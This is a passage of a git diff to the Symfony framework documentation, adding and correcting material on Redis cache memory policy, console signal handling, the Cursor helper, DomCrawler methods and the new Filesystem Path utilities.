+recently used). If you do not allow Redis to drop entries, it will return an error when you
+try to add data when no memory is available. An example setting could look as follows:
+
+.. code-block:: ini
+
+    maxmemory 100mb
+    maxmemory-policy allkeys-lru
+
+Read more about this topic in the offical `Redis LRU Cache Documentation`_.
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
@@ -203,3 +216,4 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
 .. _`Redis Sentinel`: https://redis.io/topics/sentinel
+.. _`Redis LRU Cache Documentation`: https://redis.io/topics/lru-cache
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index bef2c29b0b7..d7e44031d90 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -87,7 +87,7 @@ your fronts and have very fast invalidation checks::
 
 .. note::
 
-    Since Symfony 3.4, :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
+    :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
     implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     enabling manual
     :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
diff --git a/components/console/events.rst b/components/console/events.rst
index 7183c2e75f7..6b7078b2c11 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -154,4 +154,75 @@ Listeners receive a
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
 
+The ``ConsoleEvents::SIGNAL`` Event
+-----------------------------------
+
+**Typical Purposes**: To perform some actions after the command execution was interrupted.
+
+`Signals`_ are asynchronous notifications sent to a process in order to notify
+it of an event that occurred. For example, when you press ``Ctrl + C`` in a
+command, the operating system sends the ``SIGINT`` signal to it.
+
+When a command is interrupted, Symfony dispatches the ``ConsoleEvents::SIGNAL``
+event. Listen to this event so you can perform some actions (e.g. logging some
+results, cleaning some temporary files, etc.) before finishing the command execution.
+
+Listeners receive a
+:class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event::
+
+    use Symfony\Component\Console\ConsoleEvents;
+    use Symfony\Component\Console\Event\ConsoleSignalEvent;
+
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
+       
+        // gets the signal number
+        $signal = $event->getHandlingSignal();
+        
+        if (\SIGINT === $signal) {
+            echo "bye bye!";
+        }
+    });
+
+.. tip::
+
+    All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
+    `constants of the PCNTL PHP extension`_.
+
+If you use the Console component inside a Symfony application, commands can
+handle signals themselves. To do so, implement the
+``SignalableCommandInterface`` and subscribe to one or more signals::
+
+    // src/Command/SomeCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Command\SignalableCommandInterface;
+
+    class SomeCommand extends Command implements SignalableCommandInterface
+    {
+        // ...
+
+        public function getSubscribedSignals(): array
+        {
+            // return here any of the constants defined by PCNTL extension
+            return [\SIGINT, \SIGTERM];
+        }
+
+        public function handleSignal(int $signal)
+        {
+            if (\SIGINT === $signal) {
+                // ...
+            }
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.2
+
+    The ``ConsoleSignalEvent`` and ``SignalableCommandInterface`` classes were
+    introduced in Symfony 5.2.
+
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
+.. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
+.. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
new file mode 100644
index 00000000000..2485498fcab
--- /dev/null
+++ b/components/console/helpers/cursor.rst
@@ -0,0 +1,104 @@
+.. index::
+    single: Console Helpers; Cursor Helper
+
+Cursor Helper
+=============
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Console\\Cursor` class was introduced
+    in Symfony 5.1.
+
+The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
+cursor position in a console command. This allows you to write on any position
+of the output:
+
+.. image:: /_images/components/console/cursor.gif
+   :align: center
+
+.. code-block:: php
+
+    // src/Command/MyCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Cursor;
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    class MyCommand extends Command
+    {
+        // ...
+
+        public function execute(InputInterface $input, OutputInterface $output): int
+        {
+            // ...
+
+            $cursor = new Cursor($output);
+
+            // moves the cursor to a specific column (1st argument) and
+            // row (2nd argument) position
+            $cursor->moveToPosition(7, 11);
+
+            // and write text on this position using the output
+            $output->write('My text');
+
+            // ...
+        }
+    }
+
+Using the cursor
+----------------
+
+Moving the cursor
+.................
+
+There are few methods to control moving the command cursor::
+
+    // moves the cursor 1 line up from its current position
+    $cursor->moveUp();
+
+    // moves the cursor 3 lines up from its current position
+    $cursor->moveUp(3);
+
+    // same for down
+    $cursor->moveDown();
+
+    // moves the cursor 1 column right from its current position
+    $cursor->moveRight();
+
+    // moves the cursor 3 columns right from its current position
+    $cursor->moveRight(3);
+
+    // same for left
+    $cursor->moveLeft();
+
+    // move the cursor to a specific (column, row) position from the
+    // top-left position of the terminal
+    $cursor->moveToPosition(7, 11);
+
+You can get the current command's cursor position by using::
+
+    $position = $cursor->getCurrentPosition();
+    // $position[0] // columns (aka x coordinate)
+    // $position[1] // rows (aka y coordinate)
+
+Clearing output
+...............
+
+The cursor can also clear some output on the screen::
+
+    // clears all the output from the current line
+    $cursor->clearLine();
+
+    // clears all the output from the current line after the current position
+    $cursor->clearLineAfter();
+
+    // clears all the output from the cursors' current position to the end of the screen
+    $cursor->clearOutput();
+
+    // clears the entire screen
+    $cursor->clearScreen();
+
+You also can leverage the :method:`Symfony\\Component\\Console\\Cursor::show`
+and :method:`Symfony\\Component\\Console\\Cursor::hide` methods on the cursor.
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index ba3c2743d24..78dd3dfa581 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -9,8 +9,8 @@ You can do more advanced things with this helper than you can in
 :doc:`/console/coloring`.
 
 The :class:`Symfony\\Component\\Console\\Helper\\FormatterHelper` is included
-in the default helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+in the default helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $formatter = $this->getHelper('formatter');
 
@@ -78,7 +78,9 @@ you can write::
     $truncatedMessage = $formatter->truncate($message, 7);
     $output->writeln($truncatedMessage);
 
-And the output will be::
+And the output will be:
+
+.. code-block:: text
 
     This is...
 
@@ -93,7 +95,9 @@ from the end of the string::
 
     $truncatedMessage = $formatter->truncate($message, -5);
 
-This will result in::
+This will result in:
+
+.. code-block:: text
 
     This is a very long message, which should be trun...
 
diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 87c62ca7629..09546769655 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -13,8 +13,9 @@ The Console Helpers
     questionhelper
     table
     debug_formatter
+    cursor
 
 The Console component comes with some useful helpers. These helpers contain
-function to ease some common tasks.
+functions to ease some common tasks.
 
 .. include:: map.rst.inc
diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 68e1e722a87..8f9ce0ca0f3 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -4,3 +4,4 @@
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
 * :doc:`/components/console/helpers/debug_formatter`
+* :doc:`/components/console/helpers/cursor`
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index c5f07a87893..4f1dd8fe3a5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -348,8 +348,8 @@ placeholder before displaying the progress bar::
     $progressBar->start();
     // 0/100 -- Start
 
-    $progressBar->advance();
     $progressBar->setMessage('Task is in progress...');
+    $progressBar->advance();
     // 1/100 -- Task is in progress...
 
 Messages can be combined with custom placeholders too. In this example, the
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index a4cc68b80b2..0d687ceeeb4 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -6,13 +6,13 @@ Question Helper
 
 The :class:`Symfony\\Component\\Console\\Helper\\QuestionHelper` provides
 functions to ask the user for more information. It is included in the default
-helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $helper = $this->getHelper('question');
 
 The Question Helper has a single method
-:method:`Symfony\\Component\\Console\\Command\\Command::ask` that needs an
+:method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask` that needs an
 :class:`Symfony\\Component\\Console\\Input\\InputInterface` instance as the
 first argument, an :class:`Symfony\\Component\\Console\\Output\\OutputInterface`
 instance as the second argument and a
@@ -353,6 +353,8 @@ method::
     of the validator. If the answer is invalid, don't throw exceptions in the
     normalizer and let the validator handle those errors.
 
+.. _console-validate-question-answer:
+
 Validating the Answer
 ---------------------
 
@@ -397,6 +399,22 @@ If you reach this max number it will use the default value. Using ``null`` means
 the amount of attempts is infinite. The user will be asked as long as they provide an
 invalid answer and will only be able to proceed if their input is valid.
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to
+    validate the input by using the :method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    method::
+
+        use Symfony\Component\Validator\Constraints\Regex;
+        use Symfony\Component\Validator\Validation;
+
+        $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
+        $validation = Validation::createCallable(new Regex([
+            'pattern' => '/^[a-zA-Z]+Bundle$',
+            'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
+        ]));
+        $question->setValidator($validation);
+
 Validating a Hidden Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -430,8 +448,6 @@ Testing a Command that Expects Input
 If you want to write a unit test for a command which expects some kind of input
 from the command line, you need to set the inputs that the command expects::
 
-    use Symfony\Component\Console\Helper\HelperSet;
-    use Symfony\Component\Console\Helper\QuestionHelper;
     use Symfony\Component\Console\Tester\CommandTester;
 
     // ...
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index aa4c293d834..5e1735ce1a4 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -72,8 +72,8 @@ You can add a table separator anywhere in the output by passing an instance of
 You can optionally display titles at the top and the bottom of the table::
 
     // ...
-    $table->setHeaderTitle('Books')
-    $table->setFooterTitle('Page 1/2')
+    $table->setHeaderTitle('Books');
+    $table->setFooterTitle('Page 1/2');
     $table->render();
 
 .. code-block:: terminal
@@ -233,7 +233,7 @@ If the built-in styles do not fit your need, define your own::
 
     // customizes the style
     $tableStyle
-        ->setDefaultCrossingChars('<fg=magenta>|</>')
+        ->setHorizontalBorderChars('<fg=magenta>|</>')
         ->setVerticalBorderChars('<fg=magenta>-</>')
         ->setDefaultCrossingChar(' ')
     ;
@@ -244,7 +244,7 @@ If the built-in styles do not fit your need, define your own::
 Here is a full list of things you can customize:
 
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setPaddingChar`
-*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChars`
+*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setHorizontalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setVerticalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setCrossingChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChar`
@@ -338,7 +338,7 @@ This results in:
         $table->setHeaders([
             [new TableCell('Main table title', ['colspan' => 3])],
             ['ISBN', 'Title', 'Author'],
-        ])
+        ]);
         // ...
 
     This generates:
diff --git a/components/css_selector.rst b/components/css_selector.rst
index df9ddd84487..649a34293a4 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -25,8 +25,8 @@ Usage
     component in any PHP application. Read the :ref:`Symfony Functional Tests <functional-tests>`
     article to learn about how to use it when creating Symfony tests.
 
-Why to Use CSS selectors?
-~~~~~~~~~~~~~~~~~~~~~~~~~
+Why Use CSS selectors?
+~~~~~~~~~~~~~~~~~~~~~~
 
 When you're parsing an HTML or an XML document, by far the most powerful
 method is `XPath`_.
@@ -40,7 +40,7 @@ long and unwieldy expressions.
 Many developers -- particularly web developers -- are more comfortable
 using CSS selectors to find elements. As well as working in stylesheets,
 CSS selectors are used in JavaScript with the ``querySelectorAll()`` function
-and in popular JavaScript libraries such as jQuery, Prototype and MooTools.
+and in popular JavaScript libraries such as jQuery.
 
 CSS selectors are less powerful than XPath, but far easier to write, read
 and understand. Since they are less powerful, almost all CSS selectors can
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 8f50b2b0d0c..d7284046b82 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -197,7 +197,7 @@ The XML version of the config would then look like this:
 
 .. code-block:: xml
 
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme_demo="http://www.example.com/symfony/schema/"
@@ -564,8 +564,8 @@ Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug
 mode with its second constructor argument. When the cache is not in debug
 mode the cached container will always be used if it exists. In debug mode,
-an additional metadata file is written with the timestamps of all the resource
-files. These are then checked to see if the files have changed, if they
+an additional metadata file is written with all the involved resource
+files. These are then checked to see if their timestamps have changed, if they
 have the cache will be considered stale.
 
 .. note::
diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index 750420f4d47..7ea3c1ea28e 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -21,7 +21,7 @@ Working with a Cached Container
 -------------------------------
 
 Before building it, the kernel checks to see if a cached version of the
-container exists. The HttpKernel has a debug setting and if this is false,
+container exists. The kernel has a debug setting and if this is false,
 the cached version is used if it exists. If debug is true then the kernel
 :doc:`checks to see if configuration is fresh </components/config/caching>`
 and if it is, the cached version of the container is used. If not then the
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 55b5d8bc23f..e39a04224e5 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -122,7 +122,7 @@ Consider the XML below:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <entry
         xmlns="http://www.w3.org/2005/Atom"
         xmlns:media="http://search.yahoo.com/mrss/"
@@ -187,10 +187,14 @@ Get the same level nodes after or before the current selection::
     $crawler->filter('body > p')->nextAll();
     $crawler->filter('body > p')->previousAll();
 
-Get all the child or parent nodes::
+Get all the child or ancestor nodes::
 
     $crawler->filter('body')->children();
-    $crawler->filter('body > p')->parents();
+    $crawler->filter('body > p')->ancestors();
+
+.. versionadded:: 5.3
+
+    The ``ancestors()`` method was introduced in Symfony 5.3.
 
 Get all the direct child nodes matching a CSS selector::
 
@@ -226,6 +230,16 @@ Access the value of the first node of the current selection::
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
+    // innerText() is similar to text() but only returns the text that is
+    // the direct descendant of the current node, excluding any child nodes
+    $text = $crawler->filterXPath('//body/p')->innerText();
+    // if content is <p>Foo <span>Bar</span></p>
+    // innerText() returns 'Foo' and text() returns 'Foo Bar'
+
+.. versionadded:: 5.4
+
+    The ``innerText()`` method was introduced in Symfony 5.4.
+
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');
@@ -269,7 +283,9 @@ context of the crawler::
 Adding the Content
 ~~~~~~~~~~~~~~~~~~
 
-The crawler supports multiple ways of adding the content::
+The crawler supports multiple ways of adding the content, but they are mutually
+exclusive, so you can only use one of them to add content (e.g. if you pass the
+content to the ``Crawler`` constructor, you can't call ``addContent()`` later)::
 
     $crawler = new Crawler('<html><body/></html>');
 
@@ -518,7 +534,9 @@ You can virtually set and get values on the form::
     // where "registration" is its own array
     $values = $form->getPhpValues();
 
-To work with multi-dimensional fields::
+To work with multi-dimensional fields:
+
+.. code-block:: html
 
     <form>
         <input name="multi[]"/>
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8342967fdac..04cb8422d79 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -238,7 +238,7 @@ determine which instance is passed.
         $containerBuilder->addCompilerPass(new AddEventAliasesPass([
             \AcmeFooActionEvent::class => 'acme.foo.action',
         ]));
-        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING)
+        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
 
         $containerBuilder->register('event_dispatcher', EventDispatcher::class);
 
@@ -305,7 +305,7 @@ order. Start by creating this custom event class and documenting it::
             $this->order = $order;
         }
 
-        public function getOrder()
+        public function getOrder(): Order
         {
             return $this->order;
         }
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index 1f9be477151..1dc2a5be638 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -80,7 +80,7 @@ access the event arguments::
     {
         public function handler(GenericEvent $event)
         {
-            if (isset($event['type']) && $event['type'] === 'foo') {
+            if (isset($event['type']) && 'foo' === $event['type']) {
                 // ... do something
             }
 
diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 045451491f5..92e0b90b854 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -200,7 +200,6 @@ Examples::
         'life == everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );
@@ -209,7 +208,6 @@ Examples::
         'life > everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 6a9282bfe23..e60e0b389af 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -4,7 +4,8 @@
 The Filesystem Component
 ========================
 
-    The Filesystem component provides basic utilities for the filesystem.
+    The Filesystem component provides platform-independent utilities for
+    filesystem operations and for file/directory paths manipulation.
 
 Installation
 ------------
@@ -18,38 +19,32 @@ Installation
 Usage
 -----
 
-The :class:`Symfony\\Component\\Filesystem\\Filesystem` class is the unique
-endpoint for filesystem operations::
+The component contains two main classes called :class:`Symfony\\Component\\Filesystem\\Filesystem`
+and :class:`Symfony\\Component\\Filesystem\\Path`::
 
     use Symfony\Component\Filesystem\Exception\IOExceptionInterface;
     use Symfony\Component\Filesystem\Filesystem;
+    use Symfony\Component\Filesystem\Path;
 
     $filesystem = new Filesystem();
 
     try {
-        $filesystem->mkdir(sys_get_temp_dir().'/'.random_int(0, 1000));
+        $filesystem->mkdir(
+            Path::normalize(sys_get_temp_dir().'/'.random_int(0, 1000)),
+        );
     } catch (IOExceptionInterface $exception) {
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
-.. note::
-
-    Methods :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::exists`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::touch`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::remove`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chmod`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chown` and
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chgrp` can receive a
-    string, an array or any object implementing :phpclass:`Traversable` as
-    the target argument.
+Filesystem Utilities
+--------------------
 
 ``mkdir``
 ~~~~~~~~~
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir` creates a directory recursively.
 On POSIX filesystems, directories are created with a default mode value
-`0777`. You can use the second argument to set your own mode::
+``0777``. You can use the second argument to set your own mode::
 
     $filesystem->mkdir('/tmp/photos', 0700);
 
@@ -162,7 +157,7 @@ permissions of a file. The fourth argument is a boolean recursive option::
 
     // sets the mode of the video to 0600
     $filesystem->chmod('video.ogg', 0600);
-    // changes the mod of the src directory recursively
+    // changes the mode of the src directory recursively
     $filesystem->chmod('src', 0700, 0000, true);
 
 .. note::
@@ -214,13 +209,9 @@ support symbolic links, a third boolean argument is available::
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets.
 
-PHP's :phpfunction:`readlink` function returns the target of a symbolic link. However, its behavior
-is completely different under Windows and Unix. On Windows systems, ``readlink()``
-resolves recursively the children links of a link until a final target is found. On
-Unix-based systems ``readlink()`` only resolves the next link.
-
-The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method provided
-by the Filesystem component always behaves in the same way::
+The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method
+provided by the Filesystem component behaves in the same way on all operating
+systems (unlike PHP's :phpfunction:`readlink` function)::
 
     // returns the next direct target of the link without considering the existence of the target
     $filesystem->readlink('/path/to/link');
@@ -240,6 +231,11 @@ Its behavior is the following::
     * if ``$path`` does not exist, it returns null.
     * if ``$path`` exists, it returns its absolute fully resolved final version.
 
+.. note::
+
+    If you wish to canonicalize the path without checking its existence, you can
+    use :method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method instead.
+
 ``makePathRelative``
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -252,7 +248,7 @@ absolute paths and returns the relative path from the second path to the first o
         '/var/lib/symfony/src/Symfony/Component'
     );
     // returns 'videos/'
-    $filesystem->makePathRelative('/tmp/videos', '/tmp')
+    $filesystem->makePathRelative('/tmp/videos', '/tmp');
 
 ``mirror``
 ~~~~~~~~~~
@@ -315,10 +311,200 @@ The ``file.txt`` file contains ``Hello World`` now.
 contents at the end of some file::
 
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com');
+    // the third argument tells whether the file should be locked when writing to it
+    $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com', true);
 
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
+.. versionadded:: 5.4
+
+    The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
+
+Path Manipulation Utilities
+---------------------------
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\Filesystem\\Path` class was introduced in Symfony 5.4.
+
+Dealing with file paths usually involves some difficulties:
+
+- Platform differences: file paths look different on different platforms. UNIX
+  file paths start with a slash ("/"), while Windows file paths start with a
+  system drive ("C:"). UNIX uses forward slashes, while Windows uses backslashes
+  by default.
+- Absolute/relative paths: web applications frequently need to deal with absolute
+  and relative paths. Converting one to the other properly is tricky and repetitive.
+
+:class:`Symfony\\Component\\Filesystem\\Path` provides utility methods to tackle
+those issues.
+
+Canonicalization
+~~~~~~~~~~~~~~~~
+
+Returns the shortest path name equivalent to the given path. It applies the
+following rules iteratively until no further processing can be done:
+
+- "." segments are removed;
+- ".." segments are resolved;
+- backslashes ("\") are converted into forward slashes ("/");
+- root paths ("/" and "C:/") always terminate with a slash;
+- non-root paths never terminate with a slash;
+- schemes (such as "phar://") are kept;
+- replace "~" with the user's home directory.
+
+You can canonicalize a path with :method:`Symfony\\Component\\Filesystem\\Path::canonicalize`::
+
+    echo Path::canonicalize('/var/www/vhost/webmozart/../config.ini');
+    // => /var/www/vhost/config.ini
+
+You can pass absolute paths and relative paths to the
+:method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method. When a
+relative path is passed, ".." segments at the beginning of the path are kept::
+
+    echo Path::canonicalize('../uploads/../config/config.yaml');
+    // => ../config/config.yaml
+
+Malformed paths are returned unchanged::
+
+    echo Path::canonicalize('C:Programs/PHP/php.ini');
+    // => C:Programs/PHP/php.ini
+
+Converting Absolute/Relative Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Absolute/relative paths can be converted with the methods
+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`
+and :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` method expects a
+relative path and a base path to base that relative path upon::
+
+    echo Path::makeAbsolute('config/config.yaml', '/var/www/project');
+    // => /var/www/project/config/config.yaml
+
+If an absolute path is passed in the first argument, the absolute path is
+returned unchanged::
+
+    echo Path::makeAbsolute('/usr/share/lib/config.ini', '/var/www/project');
+    // => /usr/share/lib/config.ini
+
+The method resolves ".." segments, if there are any::
+
+    echo Path::makeAbsolute('../config/config.yaml', '/var/www/project/uploads');
+    // => /var/www/project/config/config.yaml
+
+This method is very useful if you want to be able to accept relative paths (for
+example, relative to the root directory of your project) and absolute paths at
+the same time.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` is the inverse
+operation to :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project');
+    // => config/config.yaml
+
+If the path is not within the base path, the method will prepend ".." segments
+as necessary::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project/uploads');
+    // => ../config/config.yaml
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` and
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` to check whether a
+path is absolute or relative::
+
+    Path::isAbsolute('C:\Programs\PHP\php.ini')
+    // => true
+
+All four methods internally canonicalize the passed path.
+
+Finding Longest Common Base Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you store absolute file paths on the file system, this leads to a lot of
+duplicated information::
+
+    return [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+Especially when storing many paths, the amount of duplicated information is
+noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
+to check a list of paths for a common base path::
+
+    $paths = [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+    Path::getLongestCommonBasePath($paths);
+    // => /var/www/vhosts/project/httpdocs
+
+Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`
+to shorten the stored paths::
+
+    $bp = '/var/www/vhosts/project/httpdocs';
+
+    return [
+        $bp.'/config/config.yaml',
+        $bp.'/config/routing.yaml',
+        $bp.'/config/services.yaml',
+        $bp.'/images/banana.gif',
+        $bp.'/uploads/images/nicer-banana.gif',
+    ];
+
+:method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` always
+returns canonical paths.
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::isBasePath` to test whether a
+path is a base path of another path::
+
+    Path::isBasePath("/var/www", "/var/www/project");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/..");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/../..");
+    // => false
+
+Finding Directories/Root Directories
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+PHP offers the function :phpfunction:`dirname` to obtain the directory path of a
+file path. This method has a few quirks::
+
+- `dirname()` does not accept backslashes on UNIX
+- `dirname("C:/Programs")` returns "C:", not "C:/"
+- `dirname("C:/")` returns ".", not "C:/"
+- `dirname("C:")` returns ".", not "C:/"
+- `dirname("Programs")` returns ".", not ""
+- `dirname()` does not canonicalize the result
+
+:method:`Symfony\\Component\\Filesystem\\Path::getDirectory` fixes these
+shortcomings::
+
+    echo Path::getDirectory("C:\Programs");
+    // => C:/
+
+Additionally, you can use :method:`Symfony\\Component\\Filesystem\\Path::getRoot`
+to obtain the root of a path::
+
+    echo Path::getRoot("/etc/apache2/sites-available");
+    // => /
+
+    echo Path::getRoot("C:\Programs\Apache\Config");
+    // => C:/
+
 Error Handling
 --------------
 
diff --git a/components/finder.rst b/components/finder.rst
index c0c5682d19a..ecae414084a 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -141,13 +141,26 @@ default when looking for files and directories, but you can change this with the
 
     $finder->ignoreVCS(false);
 
-If the search directory contains a ``.gitignore`` file, you can reuse those
-rules to exclude files and directories from the results with the
+If the search directory and its subdirectories contain ``.gitignore`` files, you
+can reuse those rules to exclude files and directories from the results with the
 :method:`Symfony\\Component\\Finder\\Finder::ignoreVCSIgnored` method::
 
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
+The rules of a directory always override the rules of its parent directories.
+
+.. note::
+
+    Git looks for ``.gitignore`` files starting from the repository root directory.
+    Symfony's Finder behavior is different and it looks for ``.gitignore`` files
